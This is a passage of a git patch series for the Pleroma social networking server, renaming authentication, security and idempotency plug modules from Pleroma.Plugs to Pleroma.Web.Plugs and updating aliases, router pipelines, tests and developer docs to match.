Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub diff --git a/lib/pleroma/web/o_auth/o_auth_controller.ex b/lib/pleroma/web/o_auth/o_auth_controller.ex index a57e2bef4..65a2aa91b 100644 --- a/lib/pleroma/web/o_auth/o_auth_controller.ex +++ b/lib/pleroma/web/o_auth/o_auth_controller.ex @@ -31,7 +31,10 @@ defmodule Pleroma.Web.OAuth.OAuthController do plug(:fetch_session) plug(:fetch_flash) - plug(:skip_plug, [Pleroma.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug]) + plug(:skip_plug, [ + Pleroma.Web.Plugs.OAuthScopesPlug, + Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + ]) plug(RateLimiter, [name: :authentication] when action == :create_authorization) diff --git a/lib/pleroma/web/o_auth/scopes.ex b/lib/pleroma/web/o_auth/scopes.ex index 6f06f1431..90b9a0471 100644 --- a/lib/pleroma/web/o_auth/scopes.ex +++ b/lib/pleroma/web/o_auth/scopes.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.OAuth.Scopes do Functions for dealing with scopes. """ - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug @doc """ Fetch scopes from request params. diff --git a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex index d228a875e..8b9cf410f 100644 --- a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.PleromaAPI.AccountController do only: [json_response: 3, add_link_headers: 2, assign_account_by_id: 2] alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub diff --git a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex index e667831c5..de0bc96c3 100644 --- a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex @@ -11,7 +11,7 @@ defmodule Pleroma.Web.PleromaAPI.ChatController do alias Pleroma.Chat.MessageReference alias Pleroma.Object alias Pleroma.Pagination - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.CommonAPI diff --git a/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex b/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex index 3d007f324..278616065 100644 --- a/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.PleromaAPI.ConversationController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] alias Pleroma.Conversation.Participation - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.MastodonAPI.StatusView diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex index a0e5c739a..81ba69017 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackController do plug(Pleroma.Web.ApiSpec.CastAndValidate) plug( - Pleroma.Plugs.OAuthScopesPlug, + Pleroma.Web.Plugs.OAuthScopesPlug, %{scopes: ["write"], admin: true} when action in [ :import_from_filesystem, @@ -22,8 +22,11 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackController do ] ) - @skip_plugs [Pleroma.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] - plug(:skip_plug, @skip_plugs when action in [:index, :show, :archive]) + @skip_plugs [ + Pleroma.Web.Plugs.OAuthScopesPlug, + Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug + ] + plug(:skip_plug, @skip_plugs when action in [:index, :archive, :show]) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PleromaEmojiPackOperation diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex index 7f9254c13..110c7ba8c 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiReactionController do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI.StatusView diff --git a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex index df6c50ca5..25a46fafa 100644 --- a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.PleromaAPI.MascotController do use Pleroma.Web, :controller - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub diff --git a/lib/pleroma/web/pleroma_api/controllers/notification_controller.ex b/lib/pleroma/web/pleroma_api/controllers/notification_controller.ex index 3ed8bd294..fa32aaa84 100644 --- a/lib/pleroma/web/pleroma_api/controllers/notification_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/notification_controller.ex @@ -6,10 +6,14 @@ defmodule Pleroma.Web.PleromaAPI.NotificationController do use Pleroma.Web, :controller alias Pleroma.Notification - alias Pleroma.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) - plug(OAuthScopesPlug, %{scopes: ["write:notifications"]} when action == :mark_as_read) + + plug( + Pleroma.Web.Plugs.OAuthScopesPlug, + %{scopes: ["write:notifications"]} when action == :mark_as_read + ) + plug(:put_view, Pleroma.Web.MastodonAPI.NotificationView) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PleromaNotificationOperation diff --git a/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex b/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex index e9a4fba92..acaaa127f 100644 --- a/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.PleromaAPI.ScrobbleController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.CommonAPI diff --git a/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex b/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex index b86791d09..7419e9a3c 100644 --- a/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationController do alias Pleroma.MFA alias Pleroma.MFA.TOTP - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.CommonAPI.Utils plug(OAuthScopesPlug, %{scopes: ["read:security"]} when action in [:settings]) diff --git a/lib/pleroma/web/plugs/authentication_plug.ex b/lib/pleroma/web/plugs/authentication_plug.ex index 057ea42f1..a8a4a8380 100644 --- a/lib/pleroma/web/plugs/authentication_plug.ex +++ b/lib/pleroma/web/plugs/authentication_plug.ex @@ -3,7 +3,6 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Plugs.AuthenticationPlug do - alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User import Plug.Conn @@ -65,7 +64,7 @@ def call( conn |> assign(:user, auth_user) - |> OAuthScopesPlug.skip_plug() + |> Pleroma.Web.Plugs.OAuthScopesPlug.skip_plug() else conn end diff --git a/lib/pleroma/web/plugs/legacy_authentication_plug.ex b/lib/pleroma/web/plugs/legacy_authentication_plug.ex index d346e01a6..a770816e1 100644 --- a/lib/pleroma/web/plugs/legacy_authentication_plug.ex +++ b/lib/pleroma/web/plugs/legacy_authentication_plug.ex @@ -5,7 +5,6 @@ defmodule Pleroma.Plugs.LegacyAuthenticationPlug do import Plug.Conn - alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User def init(options) do @@ -29,7 +28,7 @@ def call( conn |> assign(:auth_user, user) |> assign(:user, user) - |> OAuthScopesPlug.skip_plug() + |> Pleroma.Web.Plugs.OAuthScopesPlug.skip_plug() else _ -> conn diff --git a/lib/pleroma/web/plugs/o_auth_scopes_plug.ex b/lib/pleroma/web/plugs/o_auth_scopes_plug.ex index b1a736d78..cfc30837c 100644 --- a/lib/pleroma/web/plugs/o_auth_scopes_plug.ex +++ b/lib/pleroma/web/plugs/o_auth_scopes_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.OAuthScopesPlug do +defmodule Pleroma.Web.Plugs.OAuthScopesPlug do import Plug.Conn import Pleroma.Web.Gettext diff --git a/lib/pleroma/web/twitter_api/controller.ex b/lib/pleroma/web/twitter_api/controller.ex index c2de26b0b..429d8013b 100644 --- a/lib/pleroma/web/twitter_api/controller.ex +++ b/lib/pleroma/web/twitter_api/controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do alias Pleroma.Notification alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.OAuth.Token alias Pleroma.Web.TwitterAPI.TokenView diff --git a/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex b/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex index 072d889e2..0e39f2812 100644 --- a/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex @@ -10,7 +10,6 @@ defmodule Pleroma.Web.TwitterAPI.RemoteFollowController do alias Pleroma.Activity alias Pleroma.MFA alias Pleroma.Object.Fetcher - alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.Auth.Authenticator alias Pleroma.Web.Auth.TOTPAuthenticator @@ -22,7 +21,7 @@ defmodule Pleroma.Web.TwitterAPI.RemoteFollowController do # Note: follower can submit the form (with password auth) not being signed in (having no token) plug( - OAuthScopesPlug, + Pleroma.Web.Plugs.OAuthScopesPlug, %{fallback: :proceed_unauthenticated, scopes: ["follow", "write:follows"]} when action in [:do_follow] ) diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 6d827846d..db5684a91 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -11,7 +11,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do alias Pleroma.Emoji alias Pleroma.Healthcheck alias Pleroma.Notification - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.CommonAPI alias Pleroma.Web.WebFinger diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 0bc589fbe..5b6186e4e 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true alias Pleroma.Plugs.AuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index 6a44c673e..a0e1a7909 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -8,7 +8,7 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do import Pleroma.Factory alias Pleroma.Plugs.LegacyAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User diff --git a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs index 6a7676c8a..c8944f971 100644 --- a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs +++ b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.OAuthScopesPlugTest do use Pleroma.Web.ConnCase - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo import Mock -- cgit v1.2.3 From 96d320bdfecdb147cfbd7e74156f546885821915 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:59:21 +0300 Subject: OAuthPlug module name --- lib/pleroma/web/plugs/o_auth_plug.ex | 2 +- lib/pleroma/web/router.ex | 4 ++-- test/pleroma/web/plugs/o_auth_plug_test.exs | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web/plugs/o_auth_plug.ex b/lib/pleroma/web/plugs/o_auth_plug.ex index 6fa71ef47..c7b58d90f 100644 --- a/lib/pleroma/web/plugs/o_auth_plug.ex +++ b/lib/pleroma/web/plugs/o_auth_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.OAuthPlug do +defmodule Pleroma.Web.Plugs.OAuthPlug do import Plug.Conn import Ecto.Query diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index f90933e5a..2deb4bbbb 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Web.Router do pipeline :oauth do plug(:fetch_session) - plug(Pleroma.Plugs.OAuthPlug) + plug(Pleroma.Web.Plugs.OAuthPlug) plug(Pleroma.Web.Plugs.UserEnabledPlug) end @@ -25,7 +25,7 @@ defmodule Pleroma.Web.Router do end pipeline :authenticate do - plug(Pleroma.Plugs.OAuthPlug) + plug(Pleroma.Web.Plugs.OAuthPlug) plug(Pleroma.Plugs.BasicAuthDecoderPlug) plug(Pleroma.Web.Plugs.UserFetcherPlug) plug(Pleroma.Web.Plugs.SessionAuthenticationPlug) diff --git a/test/pleroma/web/plugs/o_auth_plug_test.exs b/test/pleroma/web/plugs/o_auth_plug_test.exs index f4df8f4cb..b9d722f76 100644 --- a/test/pleroma/web/plugs/o_auth_plug_test.exs +++ b/test/pleroma/web/plugs/o_auth_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.OAuthPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.OAuthPlug + alias Pleroma.Web.Plugs.OAuthPlug import Pleroma.Factory @session_opts [ -- cgit v1.2.3 From e2332d92ceae60cf333b9ad930f80410daf6615e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:01:40 +0300 Subject: LegacyAuthenticationPlug module name --- docs/dev.md | 2 +- lib/pleroma/web/plugs/legacy_authentication_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/dev.md b/docs/dev.md index 085d66760..e3e04c8eb 100644 --- a/docs/dev.md +++ b/docs/dev.md @@ -16,7 +16,7 @@ This document contains notes and guidelines for Pleroma developers. ## [HTTP Basic Authentication](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) -* With HTTP Basic Auth, OAuth scopes check is _not_ performed for any action (since password is provided during the auth, requester is able to obtain a token with full permissions anyways). `Pleroma.Plugs.AuthenticationPlug` and `Pleroma.Plugs.LegacyAuthenticationPlug` both call `Pleroma.Web.Plugs.OAuthScopesPlug.skip_plug(conn)` when password is provided. +* With HTTP Basic Auth, OAuth scopes check is _not_ performed for any action (since password is provided during the auth, requester is able to obtain a token with full permissions anyways). `Pleroma.Plugs.AuthenticationPlug` and `Pleroma.Web.Plugs.LegacyAuthenticationPlug` both call `Pleroma.Web.Plugs.OAuthScopesPlug.skip_plug(conn)` when password is provided. ## Auth-related configuration, OAuth consumer mode etc. diff --git a/lib/pleroma/web/plugs/legacy_authentication_plug.ex b/lib/pleroma/web/plugs/legacy_authentication_plug.ex index a770816e1..2a54d0b59 100644 --- a/lib/pleroma/web/plugs/legacy_authentication_plug.ex +++ b/lib/pleroma/web/plugs/legacy_authentication_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.LegacyAuthenticationPlug do +defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlug do import Plug.Conn alias Pleroma.User diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 2deb4bbbb..11a8e509c 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -29,7 +29,7 @@ defmodule Pleroma.Web.Router do plug(Pleroma.Plugs.BasicAuthDecoderPlug) plug(Pleroma.Web.Plugs.UserFetcherPlug) plug(Pleroma.Web.Plugs.SessionAuthenticationPlug) - plug(Pleroma.Plugs.LegacyAuthenticationPlug) + plug(Pleroma.Web.Plugs.LegacyAuthenticationPlug) plug(Pleroma.Plugs.AuthenticationPlug) end diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index a0e1a7909..0a2f6f22f 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do import Pleroma.Factory - alias Pleroma.Plugs.LegacyAuthenticationPlug + alias Pleroma.Web.Plugs.LegacyAuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User -- cgit v1.2.3 From 8dfaa54ffc114ea1af205026737f6e8be5af2ccd Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:03:10 +0300 Subject: InstanceStatic module name --- lib/pleroma/web/endpoint.ex | 2 +- lib/pleroma/web/fallback/redirect_controller.ex | 2 +- lib/pleroma/web/plugs/instance_static.ex | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index 003bb1194..db3971558 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -19,7 +19,7 @@ defmodule Pleroma.Web.Endpoint do # InstanceStatic needs to be before Plug.Static to be able to override shipped-static files # If you're adding new paths to `only:` you'll need to configure them in InstanceStatic as well # Cache-control headers are duplicated in case we turn off etags in the future - plug(Pleroma.Plugs.InstanceStatic, + plug(Pleroma.Web.Plugs.InstanceStatic, at: "/", gzip: true, cache_control_for_etags: @static_cache_control, diff --git a/lib/pleroma/web/fallback/redirect_controller.ex b/lib/pleroma/web/fallback/redirect_controller.ex index a7b36a34b..6f759d559 100644 --- a/lib/pleroma/web/fallback/redirect_controller.ex +++ b/lib/pleroma/web/fallback/redirect_controller.ex @@ -75,7 +75,7 @@ def empty(conn, _params) do end defp index_file_path do - Pleroma.Plugs.InstanceStatic.file_path("index.html") + Pleroma.Web.Plugs.InstanceStatic.file_path("index.html") end defp build_tags(conn, params) do diff --git a/lib/pleroma/web/plugs/instance_static.ex b/lib/pleroma/web/plugs/instance_static.ex index 0fb57e422..3e6aa826b 100644 --- a/lib/pleroma/web/plugs/instance_static.ex +++ b/lib/pleroma/web/plugs/instance_static.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.InstanceStatic do +defmodule Pleroma.Web.Plugs.InstanceStatic do require Pleroma.Constants @moduledoc """ -- cgit v1.2.3 From 5cd7030076a9dde9272321edf8f50b3367fc11c6 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:09:39 +0300 Subject: IdempotencyPlug module name --- lib/pleroma/web/plugs/idempotency_plug.ex | 2 +- lib/pleroma/web/router.ex | 6 +++--- test/pleroma/web/plugs/idempotency_plug_test.exs | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/plugs/idempotency_plug.ex b/lib/pleroma/web/plugs/idempotency_plug.ex index f41397075..254a790b0 100644 --- a/lib/pleroma/web/plugs/idempotency_plug.ex +++ b/lib/pleroma/web/plugs/idempotency_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.IdempotencyPlug do +defmodule Pleroma.Web.Plugs.IdempotencyPlug do import Phoenix.Controller, only: [json: 2] import Plug.Conn diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 11a8e509c..ca9b65ac6 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -50,7 +50,7 @@ defmodule Pleroma.Web.Router do plug(:expect_public_instance_or_authentication) plug(:base_api) plug(:after_auth) - plug(Pleroma.Plugs.IdempotencyPlug) + plug(Pleroma.Web.Plugs.IdempotencyPlug) end pipeline :authenticated_api do @@ -58,7 +58,7 @@ defmodule Pleroma.Web.Router do plug(:base_api) plug(:after_auth) plug(Pleroma.Plugs.EnsureAuthenticatedPlug) - plug(Pleroma.Plugs.IdempotencyPlug) + plug(Pleroma.Web.Plugs.IdempotencyPlug) end pipeline :admin_api do @@ -68,7 +68,7 @@ defmodule Pleroma.Web.Router do plug(:after_auth) plug(Pleroma.Plugs.EnsureAuthenticatedPlug) plug(Pleroma.Web.Plugs.UserIsAdminPlug) - plug(Pleroma.Plugs.IdempotencyPlug) + plug(Pleroma.Web.Plugs.IdempotencyPlug) end pipeline :mastodon_html do diff --git a/test/pleroma/web/plugs/idempotency_plug_test.exs b/test/pleroma/web/plugs/idempotency_plug_test.exs index c7b8abcaf..4a7835993 100644 --- a/test/pleroma/web/plugs/idempotency_plug_test.exs +++ b/test/pleroma/web/plugs/idempotency_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.IdempotencyPlugTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.IdempotencyPlug + alias Pleroma.Web.Plugs.IdempotencyPlug alias Plug.Conn test "returns result from cache" do -- cgit v1.2.3 From abc3c7689b82cf166ba9f759e58fcbd15dfbf3a4 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:39:17 +0300 Subject: HTTPSecurityPlug module name and filename --- lib/pleroma/application.ex | 2 +- lib/pleroma/web/endpoint.ex | 2 +- lib/pleroma/web/plugs/http_security_plug.ex | 2 +- lib/pleroma/web/plugs/http_signature.ex | 65 ---------------------------- lib/pleroma/web/plugs/http_signature_plug.ex | 65 ++++++++++++++++++++++++++++ 5 files changed, 68 insertions(+), 68 deletions(-) delete mode 100644 lib/pleroma/web/plugs/http_signature.ex create mode 100644 lib/pleroma/web/plugs/http_signature_plug.ex diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index 0f39c7d92..958e32db2 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -52,7 +52,7 @@ def start(_type, _args) do Pleroma.HTML.compile_scrubbers() Pleroma.Config.Oban.warn() Config.DeprecationWarnings.warn() - Pleroma.Plugs.HTTPSecurityPlug.warn_if_disabled() + Pleroma.Web.Plugs.HTTPSecurityPlug.warn_if_disabled() Pleroma.ApplicationRequirements.verify!() setup_instrumenters() load_custom_modules() diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index db3971558..6acca0db6 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -11,7 +11,7 @@ defmodule Pleroma.Web.Endpoint do plug(Pleroma.Web.Plugs.SetLocalePlug) plug(CORSPlug) - plug(Pleroma.Plugs.HTTPSecurityPlug) + plug(Pleroma.Web.Plugs.HTTPSecurityPlug) plug(Pleroma.Web.Plugs.UploadedMedia) @static_cache_control "public, no-cache" diff --git a/lib/pleroma/web/plugs/http_security_plug.ex b/lib/pleroma/web/plugs/http_security_plug.ex index c363b193b..45aaf188e 100644 --- a/lib/pleroma/web/plugs/http_security_plug.ex +++ b/lib/pleroma/web/plugs/http_security_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.HTTPSecurityPlug do +defmodule Pleroma.Web.Plugs.HTTPSecurityPlug do alias Pleroma.Config import Plug.Conn diff --git a/lib/pleroma/web/plugs/http_signature.ex b/lib/pleroma/web/plugs/http_signature.ex deleted file mode 100644 index 036e2a773..000000000 --- a/lib/pleroma/web/plugs/http_signature.ex +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.HTTPSignaturePlug do - import Plug.Conn - import Phoenix.Controller, only: [get_format: 1, text: 2] - require Logger - - def init(options) do - options - end - - def call(%{assigns: %{valid_signature: true}} = conn, _opts) do - conn - end - - def call(conn, _opts) do - if get_format(conn) == "activity+json" do - conn - |> maybe_assign_valid_signature() - |> maybe_require_signature() - else - conn - end - end - - defp maybe_assign_valid_signature(conn) do - if has_signature_header?(conn) do - # set (request-target) header to the appropriate value - # we also replace the digest header with the one we computed - request_target = String.downcase("#{conn.method}") <> " #{conn.request_path}" - - conn = - conn - |> put_req_header("(request-target)", request_target) - |> case do - %{assigns: %{digest: digest}} = conn -> put_req_header(conn, "digest", digest) - conn -> conn - end - - assign(conn, :valid_signature, HTTPSignatures.validate_conn(conn)) - else - Logger.debug("No signature header!") - conn - end - end - - defp has_signature_header?(conn) do - conn |> get_req_header("signature") |> Enum.at(0, false) - end - - defp maybe_require_signature(%{assigns: %{valid_signature: true}} = conn), do: conn - - defp maybe_require_signature(conn) do - if Pleroma.Config.get([:activitypub, :authorized_fetch_mode], false) do - conn - |> put_status(:unauthorized) - |> text("Request not signed") - |> halt() - else - conn - end - end -end diff --git a/lib/pleroma/web/plugs/http_signature_plug.ex b/lib/pleroma/web/plugs/http_signature_plug.ex new file mode 100644 index 000000000..036e2a773 --- /dev/null +++ b/lib/pleroma/web/plugs/http_signature_plug.ex @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.HTTPSignaturePlug do + import Plug.Conn + import Phoenix.Controller, only: [get_format: 1, text: 2] + require Logger + + def init(options) do + options + end + + def call(%{assigns: %{valid_signature: true}} = conn, _opts) do + conn + end + + def call(conn, _opts) do + if get_format(conn) == "activity+json" do + conn + |> maybe_assign_valid_signature() + |> maybe_require_signature() + else + conn + end + end + + defp maybe_assign_valid_signature(conn) do + if has_signature_header?(conn) do + # set (request-target) header to the appropriate value + # we also replace the digest header with the one we computed + request_target = String.downcase("#{conn.method}") <> " #{conn.request_path}" + + conn = + conn + |> put_req_header("(request-target)", request_target) + |> case do + %{assigns: %{digest: digest}} = conn -> put_req_header(conn, "digest", digest) + conn -> conn + end + + assign(conn, :valid_signature, HTTPSignatures.validate_conn(conn)) + else + Logger.debug("No signature header!") + conn + end + end + + defp has_signature_header?(conn) do + conn |> get_req_header("signature") |> Enum.at(0, false) + end + + defp maybe_require_signature(%{assigns: %{valid_signature: true}} = conn), do: conn + + defp 